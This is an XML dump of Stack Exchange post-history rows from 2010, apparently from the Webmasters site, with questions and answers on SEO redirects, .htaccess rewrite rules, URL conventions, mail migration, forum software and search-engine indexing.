  <row Id="10613" PostHistoryTypeId="2" PostId="5327" RevisionGUID="80b9a9d0-aa63-4e54-9dea-0677b5c3b1c8" CreationDate="2010-11-11T14:46:02.733" UserId="3155" Text="This is also personal experience: I recently made a tutorial on the topic of iPhone UINavigationControllers on my own own site and found it was the number one Google result for &quot;uinavigationcontroller&quot; after about 2 months. &#xD;&#xA;&#xD;&#xA;I'd only linked to the article from 2 other sites, so the conclusion I've drawn is Google either really values links from Stackoverflow (the 1st link), or the more likely it bases a lot of its rankings on uptime, load time,HTML of the actual site, having a Google sitemap and signing up for the [Google Webmaster Tools][1].&#xD;&#xA;&#xD;&#xA;So stick to `H1,H2..P` HTML tags, ensure 99% uptime and heavily cache the site so it loads in less than a second or two. Then watch where you're going wrong with the webmaster tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/webmasters/tools/" />
  <row Id="10614" PostHistoryTypeId="2" PostId="5328" RevisionGUID="d142e3cc-a863-4a0a-910f-72c610d944de" CreationDate="2010-11-11T14:50:05.960" UserId="3156" Text="I'm currently working on a new landing page for this site. I want the landing page to replace the existing frontpage of the site. However I don't want to lose the Page Rank of the current frontpage - so I plan to insert a javascript that immediately redirects from the frontpage to the new landing page.&#xD;&#xA;&#xD;&#xA;Is this solution a bad idea, will it affect the Page Rank of the frontpage?&#xD;&#xA;" />
  <row Id="10615" PostHistoryTypeId="1" PostId="5328" RevisionGUID="d142e3cc-a863-4a0a-910f-72c610d944de" CreationDate="2010-11-11T14:50:05.960" UserId="3156" Text="How does redirects affect SEO?" />
  <row Id="10616" PostHistoryTypeId="3" PostId="5328" RevisionGUID="d142e3cc-a863-4a0a-910f-72c610d944de" CreationDate="2010-11-11T14:50:05.960" UserId="3156" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="10617" PostHistoryTypeId="2" PostId="5329" RevisionGUID="d7aaa578-1d64-40de-a91f-73a2c55b7730" CreationDate="2010-11-11T14:55:13.723" UserId="1253" Text="Do not use a JavaScript redirect. That's SEO suicide. Search engines don't handle JavaScript well or at all. JavaScript redirects also don't use HTTP headers that tell the search engines your page has permanently moved and no association is made between the old homepage and the new one. Not to mention anyone without JavaScript turned on will not get redirected.&#xD;&#xA;&#xD;&#xA;First let me ask, why not just replace the home page with the new one? &#xD;&#xA;&#xD;&#xA;But if for some reason you can't do that use a server side 301 redirect. Here's an example in Apache .htaccess:&#xD;&#xA;&#xD;&#xA;    redirect 301 /oldindex.html /newindex.html" />
  <row Id="10619" PostHistoryTypeId="5" PostId="5329" RevisionGUID="29cbbe54-fb38-4928-a344-0c9a83386f1b" CreationDate="2010-11-11T15:21:41.313" UserId="1253" Comment="added 15 characters in body" Text="Do not use a JavaScript redirect. That's SEO suicide. Search engines don't handle JavaScript well if they handle it at all. JavaScript redirects also don't use HTTP headers that tell the search engines your page has permanently moved and no association is made between the old homepage and the new one. Not to mention anyone without JavaScript turned on will not get redirected.&#xD;&#xA;&#xD;&#xA;First let me ask, why not just replace the home page with the new one? &#xD;&#xA;&#xD;&#xA;But if for some reason you can't do that use a server side 301 redirect. Here's an example in Apache .htaccess:&#xD;&#xA;&#xD;&#xA;    redirect 301 /oldindex.html /newindex.html" />
  <row Id="10620" PostHistoryTypeId="2" PostId="5330" RevisionGUID="63af15ed-5211-459c-a278-f4bf39420c5b" CreationDate="2010-11-11T15:59:01.093" UserId="3142" Text="The best answer to your question really should cover two facets:&#xD;&#xA;&#xD;&#xA;**First:** Whether or not the webserver should  enforce a match on case.&#xD;&#xA;&#xD;&#xA; - When posed like that, it seems&#xD;&#xA;       obvious -- no. You want the user to&#xD;&#xA;       get land on the content, regardless&#xD;&#xA;       of the case requested.&#xD;&#xA; - Saying no, don't enforce case would&#xD;&#xA;   mean to allow case insensitivity.&#xD;&#xA;&#xD;&#xA;**Second:** Given case insensitivity, how, then should you use case in your URIs?&#xD;&#xA;&#xD;&#xA;The answer to the first facet of the question, IMO,  is pretty obvious, and has already been discussed. You want to serve content, not error pages, so you should not configure your web server to enforce a matching case.&#xD;&#xA;&#xD;&#xA;Then, the important considerations for the second facet of this topic would require consideration of SEO practices. The simplest answer would be to say, &quot;BE CONSISTENT.&quot;&#xD;&#xA;&#xD;&#xA;However, it's possible you have pages indexed by the SEs by different rules. One page or directory might have CamelCase, another has all lower case or Initialcapitalization. This is where to focus your energy...&#xD;&#xA;&#xD;&#xA;First of all, decide upon a methodology.&#xD;&#xA;&#xD;&#xA;Personally, I like everything to be all lower case. It bugs me sometimes when I see things like state codes (i.e. NY, FL, TX) in lower case, but it requires more effort on my part to have rules -- this is leading up to URL rewriting -- based on the specificity of the information conveyed by that part of the URI.&#xD;&#xA;&#xD;&#xA;If you were to adopt the method of having everything as all lower case, then you can use a URL rewriter to rewrite URLs containing uppercase letters to lower case. There is a very important distinctions to make here:&#xD;&#xA;&#xD;&#xA;Simply rewriting the mixed (or all UPPER) URI as an all lowercase URI does not provide the best possible solution. What you should do is actually 301-Redirect the URI to the proper style, not just rewrite it.&#xD;&#xA;&#xD;&#xA;The 301-redirect should, in theory, decrease the percentage of URI requests that come in &quot;incorrectly&quot; because the 301 is telling the visitor (most importantly, SEs) to &quot;update your records&quot; so to speak.&#xD;&#xA;&#xD;&#xA;People may debate upon all upper or all lowercase. Briefly, I'd suggest that all lowercase is a little easier to glance at and decipher, providing perhaps a little more readability than all uppercase. The reason for that is because lowercase letters have varying heights, some letters descend below the baseline (such as lowercase 'g'), some rise above the x-height (such as lowercase 'b'), or match the x-height (such as 'o'). In contrast, all CAPS tend to be more homogeneous in describing the space they occupy -- less variation means it requires a bit more effort to interpret, saying so lightly; you can't say the difference in effort is noticed.&#xD;&#xA;&#xD;&#xA;Nevertheless, with all that said, **my preference is to use all lowercase URIs in practice, and use a URL rewriter to rewrite (and redirect) the requests that do not conform.**" />
  <row Id="10621" PostHistoryTypeId="2" PostId="5331" RevisionGUID="36a7ee23-fc6d-444b-b07f-4e45c0329b67" CreationDate="2010-11-11T16:19:34.323" UserId="3142" Text="I'm surprised no one also suggested that the Meta Description is a good place to put the &quot;extra&quot; information you aren't able to put in the HTML &lt;title&gt;.&#xD;&#xA;&#xD;&#xA;65 chars is a mutually agreed upon number, with the reason being that you don't want the GOOG to truncate your title poorly, as they do sometimes. You want to have control over that yourself.&#xD;&#xA;&#xD;&#xA;So, you have two tools to &quot;sell&quot; your site and earn the click through:&#xD;&#xA;&#xD;&#xA;Title&#xD;&#xA;Meta Description&#xD;&#xA;&#xD;&#xA;If you recall that those are the two things the user typically sees when scanning the SERPs, you'll be able to write them in a complimentary way that &quot;sells&quot; your page and earns the click... if, in fact, it's relevant to the user." />
  <row Id="10622" PostHistoryTypeId="2" PostId="5332" RevisionGUID="9d69f0bf-53ca-4f8a-9b84-539ab65d95ef" CreationDate="2010-11-11T17:03:25.567" UserId="1044" Text="My web-host suddenly decide to merge with another company and that move has left me in the lurch. &#xD;&#xA;&#xD;&#xA;I have two weeks till I can migrate my mail data over to another account. The only way that I can transfer the data to the new account is through a mail client and manually copying the data to the new hosting by recreating the mail accounts and restoring all the mails from the mail client to them. &#xD;&#xA;&#xD;&#xA;Is there anyway that I can automate this process, or a faster way that I could speed-en up this process. I have over 400 email accounts to migrate which is around 2 gigs of matter. And the mails don't stop coming in. If I could do this directly server to server without downloading and uploading the matter, it would be very convenient. That way I will only have to create the accounts and the matter would transfer automatically.&#xD;&#xA;&#xD;&#xA;How can I avoid this procedure in the future? And is there a way to backup emails from a mail server?" />
  <row Id="10623" PostHistoryTypeId="1" PostId="5332" RevisionGUID="9d69f0bf-53ca-4f8a-9b84-539ab65d95ef" CreationDate="2010-11-11T17:03:25.567" UserId="1044" Text="How do I migrate mail from one shared hosting account to another?" />
  <row Id="10624" PostHistoryTypeId="3" PostId="5332" RevisionGUID="9d69f0bf-53ca-4f8a-9b84-539ab65d95ef" CreationDate="2010-11-11T17:03:25.567" UserId="1044" Text="&lt;email&gt;&lt;linux&gt;&lt;shared-hosting&gt;" />
  <row Id="10628" PostHistoryTypeId="2" PostId="5333" RevisionGUID="32ed889e-50e1-4297-8ec9-587253e34a68" CreationDate="2010-11-11T17:41:50.050" UserId="3142" Text="First, I'd like to preface this question by stating that I insist upon publishing a file name suffix, but only on the outer most entity of our site, the detail pages. I do realize the suffix is not necessary, and as such, some people just don't use it in their URL rewrite rules.&#xD;&#xA;&#xD;&#xA;**Our basic logic is as follows:**&#xD;&#xA;&#xD;&#xA; 1. Top Level: h t t p://no-host-name.just-the-domain.tld/&#xD;&#xA; 2. Next Level Deeper, append a &quot;directory&quot; of: `/most-general-groups-of-entities/`&#xD;&#xA; 3. Next Level: `/additional-specificity-like-location/`&#xD;&#xA; 4. Next Level: `/more-specificity-making-a-smaller-group/`&#xD;&#xA;&#xD;&#xA;Each level is one click deeper, making all site content no more than four clicks deep -- good for getting spidered. ALSO -- and I like this &quot;feature&quot; -- you can actually remove the right-most piece of each rewritten &quot;directory&quot; and it will serve a page that is a list of links to all of the groups of data belonging to the classes depicted in the directories comprising the rewritten URL.&#xD;&#xA;&#xD;&#xA;The fourth click down results in a detail page, such as: name-of-entity.html&#xD;&#xA;&#xD;&#xA;**So the question: what should I write as a suffix to the file name?**&#xD;&#xA;&#xD;&#xA;It seems to be mis-leading to rewrite the URI having a suffix of html. I do believe the consensus suggests (still?) that .html is most favored. However, our technology platform, more accurately, would publish content using a page suffix such as .php or .asp. I do recognize there is a slight security benefit to masquerading the suffix that tells the world what your platform is.&#xD;&#xA;&#xD;&#xA;However, isn't it kind of black-hat-like to use a suffix of .html? Paranoia causes me to believe that Google may detect URL rewrite and potentially trigger the so-called over optimization penalty.&#xD;&#xA;&#xD;&#xA;Supporting use of the HTML suffix is the fact that we are, indeed, serving HTML content to a browser. It would make less sense to arbitrarily pick .pdf or .doc -- which sometimes scare away clicks when seen among search results.&#xD;&#xA;&#xD;&#xA;Also, to reiterate my earlier insistence that I prefer to use a suffix, it's because it completes our depiction of a logical hierarchy:&#xD;&#xA;&#xD;&#xA;1. the site&#xD;&#xA;2. rewrite directory one - the general silos of information&#xD;&#xA;3. rewrite directory two - a folder containing more folders&#xD;&#xA;4. rewrite directory three - the folder that has the documents&#xD;&#xA;5. rewrite document name&#xD;&#xA;&#xD;&#xA;All directories end in a forward slash, and in contrast, documents, at least typically, have a suffix and do not have the trailing slash.&#xD;&#xA;&#xD;&#xA;I recognize there are certainly other dragons to slay in the course of a workday, but at the moment I am trying to finish up our URL rewrite, which makes this top of mind for me.&#xD;&#xA;&#xD;&#xA;**Can anyone cite examples to encourage or discourage the rewriting of a suffix of any particular type?** And, please, if you see errors in my logic or directory hierarchies, I want to hear what you have to say. Thank you." />
  <row Id="10629" PostHistoryTypeId="1" PostId="5333" RevisionGUID="32ed889e-50e1-4297-8ec9-587253e34a68" CreationDate="2010-11-11T17:41:50.050" UserId="3142" Text="URL rewrite - should I write a fake file suffix (.html) or something more realistic to the platform? (like .asp or .cfm)" />
  <row Id="10630" PostHistoryTypeId="3" PostId="5333" RevisionGUID="32ed889e-50e1-4297-8ec9-587253e34a68" CreationDate="2010-11-11T17:41:50.050" UserId="3142" Text="&lt;seo&gt;&lt;url-rewriting&gt;&lt;filenames&gt;" />
  <row Id="10631" PostHistoryTypeId="5" PostId="5319" RevisionGUID="f93b7016-cce2-4c56-b2c9-1eba9a54efaf" CreationDate="2010-11-11T17:53:24.380" UserId="1064" Comment="Added example of blinking document" Text="I need an efficient and aesthetically-pleasing way to gracefully degrade site appearance for users with Javascript disabled and, while I am not aware of any problem with adding a link to an alternative stylesheet wrapped in `noscript` tags in the document header [w/HTML5][1], I figured it couldn't hurt to ask before going that route.&#xD;&#xA;&#xD;&#xA;**Update:** Example document to demonstrate undesirable behavior when using JS to hide elements&#xD;&#xA;&#xD;&#xA;This document reliably shows a red blink while the browser repaints the window contents when I test with a hard refresh in Internet Explorer 8.0 (note that I had to add a fairly large image to get IE to exhibit this behavior - I expect that this will appear in IE whenever resources are low).&#xD;&#xA;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;See the blink?&lt;/title&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.4.3/jquery.min.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    $(document).ready( function() {&#xD;&#xA;    	$('#blinky').css('display','none');&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    body {&#xD;&#xA;    	background-color:#000000;&#xD;&#xA;    }&#xD;&#xA;    div#blinky {&#xD;&#xA;    	background-color:#FF0000;&#xD;&#xA;    	position:absolute;&#xD;&#xA;    	height:100%;&#xD;&#xA;    	width:100%;&#xD;&#xA;    }&#xD;&#xA;    &lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;img src=&quot;http://apod.nasa.gov/apod/image/9712/orionfull_jcc_big.jpg&quot; height=&quot;1&quot; width=&quot;1&quot; /&gt;&#xD;&#xA;    &lt;div id=&quot;blinky&quot;&gt;&#xD;&#xA;    &lt;h1&gt;Did you see it?&lt;/h1&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;I refuse to upgrade until I absolutely have to, so I believe my somewhat-underpowered desktop is representative of the lowest common denominator of the user experience; I can't guarantee that you'll be able to duplicate on a high-end machine with ample resources available but you're welcome to give it a try to see what I mean.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.whatwg.org/specs/web-apps/current-work/#the-noscript-element" />
  <row Id="10632" PostHistoryTypeId="2" PostId="5334" RevisionGUID="f17ac4f4-f983-4de6-ac37-61efc404f105" CreationDate="2010-11-11T17:55:26.560" UserId="343" Text="Google is not going to care what you use for the suffix.&#xD;&#xA;&#xD;&#xA;Personally I would suggest you use .html simply because it says nothing about your underlying technology platform.  Or, be deliberately deceptive and use something like .php on an ASP.NET site.  &#xD;&#xA;&#xD;&#xA;From a security perspective this gives as little information as possible to anyone who might want to hack your site.  I know it's &quot;security through obscurity&quot;, but that doesn't mean it isn't effective in discouraging a casual hacker (or an automated bot)." />
  <row Id="10633" PostHistoryTypeId="2" PostId="5335" RevisionGUID="3954cf0e-01c2-442d-a0fb-c7d28b686d34" CreationDate="2010-11-11T18:40:35.273" UserId="1757" Text="This is a tough one, and I'd like to see how others deal with the problem. But we've done such email migrations before from DreamHost to Gmail, and this was done through Gmail's own email migration tool. It is reasonably fast, and works quite well, but obviously it only works if you're using Gmail hosted.&#xD;&#xA;&#xD;&#xA;Another tool you could use is [imapsync][1]. This is actually a tool to synchronize two inboxes, but it can also be used with a short shell script and CSV file containing all the account pairs for large migrations.&#xD;&#xA;&#xD;&#xA;Another option is to export your `maildir` (assuming your mail server uses them) and installing them on the new server. You may need your web host's help with this, but this is probably quicker than doing a transfer via IMAP or POP3.&#xD;&#xA;&#xD;&#xA;What you always want to do is keep your mailboxes organized and pruned. Don't accumulate millions of emails that you don't need and have them all sitting in your inbox directory. This makes migration much slower. At my work, we had one email account that took over 3 days to migrate because of this.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux-france.org/prj/imapsync/" />
  <row Id="10634" PostHistoryTypeId="2" PostId="5336" RevisionGUID="a9dd948f-2927-425f-9055-bfa76d8ae075" CreationDate="2010-11-11T19:11:50.317" UserId="239" Text="Is there a way to debug this?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/FV7hr.png" />
  <row Id="10635" PostHistoryTypeId="1" PostId="5336" RevisionGUID="a9dd948f-2927-425f-9055-bfa76d8ae075" CreationDate="2010-11-11T19:11:50.317" UserId="239" Text="Why does Google preview gives &quot;preview not available&quot; for site (even though magnifying glass is shown)?" />
  <row Id="10636" PostHistoryTypeId="3" PostId="5336" RevisionGUID="a9dd948f-2927-425f-9055-bfa76d8ae075" CreationDate="2010-11-11T19:11:50.317" UserId="239" Text="&lt;google&gt;" />
  <row Id="10637" PostHistoryTypeId="2" PostId="5337" RevisionGUID="e728f347-4df1-4a27-8294-1d51e010962f" CreationDate="2010-11-11T19:13:03.467" UserId="1064" Text="&gt; However, isn't it kind of&#xD;&#xA;&gt; black-hat-like to use a suffix of&#xD;&#xA;&gt; .html?&#xD;&#xA;&#xD;&#xA;Web servers have been returning URI's ending in .html from the inception of HTTP - nothing wrong with using it today.&#xD;&#xA;&#xD;&#xA;&gt; Paranoia causes me to believe that&#xD;&#xA;&gt; Google may detect URL rewrite and&#xD;&#xA;&gt; potentially trigger the so-called over&#xD;&#xA;&gt; optimization penalty.&#xD;&#xA;&#xD;&#xA;Unless Googlebot has access to your server configuration or log files, I think you really *are* being paranoid (i.e. suspicious to the extent that productive behavior is affected).&#xD;&#xA;&#xD;&#xA;The idea of an &quot;over-optimization penalty&quot; seems pretty far-fetched ... after all, if you're being *penalized* for it, it must not be *optimization*, n'est pas?&#xD;&#xA;&#xD;&#xA;Use a canonical URL for each document to avoid any potential indexing problems and return a 404 if the URI is called without the extension you have made canon. (Google can't very well detect a rewrite for which no redirect header is returned)" />
  <row Id="10638" PostHistoryTypeId="2" PostId="5338" RevisionGUID="9b3804d0-2ba7-4e49-b9bd-2819599c3f10" CreationDate="2010-11-11T19:33:59.847" UserId="745" Text="It probably means that they haven't had a chance to make a preview image yet. I would guess that Googlebot and the image generator are separate processes and have different sets of priorities and queues. I wouldn't worry too much about it. Wait a week or two and if it's still the case, it might be worth posting a question on Google's forums." />
  <row Id="10641" PostHistoryTypeId="5" PostId="5336" RevisionGUID="d41200aa-ba4d-490c-aa8d-7403f1d3008f" CreationDate="2010-11-11T20:11:42.350" UserId="239" Comment="added 34 characters in body" Text="Is there a way to debug this?&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;UPDATE: it just started working.&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/FV7hr.png" />
  <row Id="10642" PostHistoryTypeId="5" PostId="5308" RevisionGUID="fe22fe7e-9f46-4146-8890-efe63c422246" CreationDate="2010-11-11T21:35:28.447" UserId="745" Comment="added 364 characters in body" Text="Some potential strategies:&#xD;&#xA;&#xD;&#xA; - Google Webmaster Tools allows you to&#xD;&#xA;   request an increased crawl rate. Try&#xD;&#xA;   doing that if you haven't already.&#xD;&#xA; - Take another look at your navigation&#xD;&#xA;   architecture to see if you can't&#xD;&#xA;   improve access to more of your&#xD;&#xA;   content. Look at it from a user's perspective: If it's hard for a user to find a specific piece of information, it may be hard for search engines as well.&#xD;&#xA; - Make sure you don't have duplicate content because of inconsistent URL parameters or improper use of slashes. By eliminating duplicate content, you cut down on the time Googlebot spends crawling something it has already indexed.&#xD;&#xA; - Use related content links and in-site&#xD;&#xA;   linking within your content whenever&#xD;&#xA;   possible.&#xD;&#xA; - Randomize some of your links. A sidebar with random internal content is a great pattern to use.&#xD;&#xA; - Use dates and other [microformats][1].&#xD;&#xA; - Use RSS feeds wherever possible. RSS&#xD;&#xA;   feeds will function much the same as&#xD;&#xA;   a sitemap (in fact, Webmaster Tools&#xD;&#xA;   allows you to submit a feed as a&#xD;&#xA;   sitemap).&#xD;&#xA; - Regarding sitemaps, see [this&#xD;&#xA;   question][2].&#xD;&#xA; - Find ways to get external links to your content. This may accelerate the process of it getting indexed. If it's appropriate to the type of content, making it easy to share socially or through email will help with this.&#xD;&#xA; - Provide an API to incentivize use of&#xD;&#xA;   your data and external links to your&#xD;&#xA;   data. You can have an attribution&#xD;&#xA;   link as a requirement to the data&#xD;&#xA;   use.&#xD;&#xA; - Embrace the community. If you reach out to the right people in the right way, you'll get external links via blogs and Twitter.&#xD;&#xA; - Look for ways to create a community around your data. Find a way to make it social. API's, mashups, social widgets all help, but so do a blog, community showcases, forums, and [gaming mechanics][3] (also, see [this video][4]).&#xD;&#xA; - Prioritize which content you have indexed. With that much data, not all of it is going to be absolutely vital. Make a strategic decision as to what content is most important, e.g., it will be most popular, it has the best chance at ROI, it will be the most useful, etc. and make sure that that content is indexed first.&#xD;&#xA; - Do a detailed analysis of what your competitor is doing to get their content indexed. Look at their site architecture, their navigation, their external links, etc.&#xD;&#xA;&#xD;&#xA;Finally, I should say this. SEO and indexing are only small parts to running a business site. Don't lose focus on ROI for the sake of SEO. Even if you have a lot of traffic from Google, it doesn't matter if you can't convert it. SEO is important, but it needs to be kept in perspective.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit**:&#xD;&#xA;&#xD;&#xA;As an addendum to your use case: you might consider offering reviews or testimonials for each person or business. Also, giving out user badges like StackOverflow does could entice at least some people to link to their own profile on your site. That would encourage some outside linking to your deep pages, which could mean getting indexed quicker.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/tagged/microformats&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/4803/the-sitemap-paradox&#xD;&#xA;  [3]: http://gamedev.stackexchange.com/questions/3131/what-are-the-other-three-game-dynamics&#xD;&#xA;  [4]: http://www.ted.com/talks/jesse_schell_when_games_invade_real_life.html" />
  <row Id="10643" PostHistoryTypeId="2" PostId="5340" RevisionGUID="69f2e4d5-e602-4113-af5d-d1d4df1d22bc" CreationDate="2010-11-11T21:45:08.687" UserId="3164" Text="phpBB&#xD;&#xA;&#xD;&#xA;THE #1 FREE, OPEN SOURCE BULLETIN BOARD SOFTWARE.&#xD;&#xA;phpBB is a free flat-forum bulletin board software solution that can be used to stay in touch with a group of people or can power your entire website.&#xD;&#xA;No other bulletin board software offers a greater complement of features, while maintaining efficiency and ease of use. Best of all, phpBB is completely free." />
  <row Id="10644" PostHistoryTypeId="2" PostId="5341" RevisionGUID="ec62d79d-22f8-482e-97b6-2946cef43384" CreationDate="2010-11-11T22:03:37.157" UserId="2821" Text="How do I get a partial refund (credit memo) working in Magento? I have a customer who bought 3 items but only wants to get a refund on one of the items. Is there a way to do that?&#xD;&#xA;&#xD;&#xA;Also, can I move that item back to the inventory (like updating the stock automatically)?&#xD;&#xA;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;&lt;br/&gt;&#xD;&#xA;(duplicate of question on StackOverflow, http://stackoverflow.com/questions/4159696/partial-refunds-in-magento)" />
  <row Id="10645" PostHistoryTypeId="1" PostId="5341" RevisionGUID="ec62d79d-22f8-482e-97b6-2946cef43384" CreationDate="2010-11-11T22:03:37.157" UserId="2821" Text="Partial refunds in Magento" />
  <row Id="10646" PostHistoryTypeId="3" PostId="5341" RevisionGUID="ec62d79d-22f8-482e-97b6-2946cef43384" CreationDate="2010-11-11T22:03:37.157" UserId="2821" Text="&lt;creditcard&gt;&lt;customer-service&gt;&lt;magento&gt;" />
  <row Id="10647" PostHistoryTypeId="2" PostId="5342" RevisionGUID="815a0c6d-695c-4626-a46e-0d6f14625e6e" CreationDate="2010-11-11T22:41:07.750" UserDisplayName="morpheous" Text="I launched my site a few months ago, and Google already has over 1K indexed pages - whereas Yahoo has only managed to index 2 pages (when I check with Yahoo Site Explorer).&#xD;&#xA;&#xD;&#xA;I have checked (using Yahoo Site Explorer), and no errors have been found by the Yahoo bot when indexing my site. Can anyone explain the discrepancy in number of archived pages?&#xD;&#xA;&#xD;&#xA;Note: I dubmitted my sitemap to both search engines at about the same time." />
  <row Id="10648" PostHistoryTypeId="1" PostId="5342" RevisionGUID="815a0c6d-695c-4626-a46e-0d6f14625e6e" CreationDate="2010-11-11T22:41:07.750" UserDisplayName="morpheous" Text="Why has Yahoo only managed to index TWO pages on my site?" />
  <row Id="10649" PostHistoryTypeId="3" PostId="5342" RevisionGUID="815a0c6d-695c-4626-a46e-0d6f14625e6e" CreationDate="2010-11-11T22:41:07.750" UserDisplayName="morpheous" Text="&lt;search-engines&gt;&lt;yahoo&gt;" />
  <row Id="10650" PostHistoryTypeId="2" PostId="5343" RevisionGUID="61ad33ba-ab0e-4c0c-9d99-c21469316a9b" CreationDate="2010-11-11T23:23:22.923" UserDisplayName="Gravity" Text="I can recommend *against* bbPress, on the basis of its glacial development cycle and small developer community for addons (many have abandoned bbPress, notably _ck_ who produced a good deal of important extensions but is not updating them for v1.x). Even though it's related to WordPress, it does not integrate easily with WordPress.&#xD;&#xA;&#xD;&#xA;I recommend phpBB for the same reasons given by other writers. For free software, it's very good. (If you want commercial, I'd look at Invision Power Boards or xenforo.)" />
  <row Id="10651" PostHistoryTypeId="2" PostId="5344" RevisionGUID="043282fe-db1d-4d94-bb84-2f7d63e0a9b0" CreationDate="2010-11-11T23:28:01.823" UserDisplayName="Gravity" Text="You can also use [TrustWho][1] to vet the authenticity of buyers. They reduce fraud significantly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.trustwho.com/business.php" />
  <row Id="10652" PostHistoryTypeId="2" PostId="5345" RevisionGUID="b869ff1c-5f83-4066-98ce-7183748de536" CreationDate="2010-11-11T23:33:45.327" UserDisplayName="Gravity" Text="For others coming to this question looking for Linux hosting: I use a virtual server from [Stormondemand.com][1], which I've been very happy with but they only provide Linux. The original question is for Windows.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.stormondemand.com/" />
  <row Id="10653" PostHistoryTypeId="2" PostId="5346" RevisionGUID="1f63fe1b-648f-4d92-a335-7841bccb7d1f" CreationDate="2010-11-11T23:36:46.033" UserId="745" Text="Yahoo's results are now powered mostly by Bing. Try submiting your site and sitemaps with [Bing Webmaster Tools][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.bing.com/toolbox/webmasters/" />
  <row Id="10654" PostHistoryTypeId="2" PostId="5347" RevisionGUID="dccac6e2-237a-4688-a964-9e1f74927860" CreationDate="2010-11-12T00:34:37.540" UserId="3167" Text="There's [Vanilla][1] and [bbPress][2]. They're both relatively simple and have good communities.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://vanillaforums.org/&#xD;&#xA;  [2]: http://bbpress.org/" />
  <row Id="10655" PostHistoryTypeId="2" PostId="5348" RevisionGUID="2367e662-82b5-4071-80fe-b788c6d0a6dc" CreationDate="2010-11-12T00:37:40.770" UserId="3167" Text="You should constrain the 'continue reading' code to show up only on posts, not on pages." />
  <row Id="10656" PostHistoryTypeId="2" PostId="5349" RevisionGUID="c4114b3e-7c65-4c20-939b-779958fe88a6" CreationDate="2010-11-12T01:00:06.210" UserId="3168" Text="I have a wordpress instalation that is not redirecting urls not starting with www.&#xD;&#xA;&#xD;&#xA;Example: http:// example.com/dir/ doesn't send to http:// www.example.com/dir/ instead goes to http:// example.com/&#xD;&#xA;&#xD;&#xA;How do I change the .htaccess below to always redirect to the page either using www or not?&#xD;&#xA;&#xD;&#xA;    # BEGIN WordPress&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    &#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^index\.php$ - [L]&#xD;&#xA;    &#xD;&#xA;    # uploaded files&#xD;&#xA;    RewriteRule ^([_0-9a-zA-Z-]+/)?files/(.+) wp-includes/ms-files.php?file=$2 [L]&#xD;&#xA;    &#xD;&#xA;    # add a trailing slash to /wp-admin&#xD;&#xA;    RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]&#xD;&#xA;    &#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -f [OR]&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} -d&#xD;&#xA;    RewriteRule ^ - [L]&#xD;&#xA;    RewriteRule  ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L]&#xD;&#xA;    RewriteRule  ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L]&#xD;&#xA;    RewriteRule . index.php [L]&#xD;&#xA;    &#xD;&#xA;    # END WordPress&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10657" PostHistoryTypeId="1" PostId="5349" RevisionGUID="c4114b3e-7c65-4c20-939b-779958fe88a6" CreationDate="2010-11-12T01:00:06.210" UserId="3168" Text=".htaccess permanent redirect to www" />
  <row Id="10658" PostHistoryTypeId="3" PostId="5349" RevisionGUID="c4114b3e-7c65-4c20-939b-779958fe88a6" CreationDate="2010-11-12T01:00:06.210" UserId="3168" Text="&lt;wordpress&gt;&lt;htaccess&gt;&lt;redirects&gt;" />
  <row Id="10659" PostHistoryTypeId="2" PostId="5350" RevisionGUID="fbe65d0a-0463-4343-a104-dc423db8d0d8" CreationDate="2010-11-12T01:03:02.540" UserId="1253" Text="Add this to the bottom of that file:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^(www\.|$) [NC]&#xD;&#xA;    RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10660" PostHistoryTypeId="12" PostId="5350" RevisionGUID="da096669-bd9e-4438-8e60-320b660ece4e" CreationDate="2010-11-12T01:16:57.273" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="10661" PostHistoryTypeId="13" PostId="5350" RevisionGUID="e07aee04-5f57-4e1a-ae5f-e471cb21752f" CreationDate="2010-11-12T01:17:01.517" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
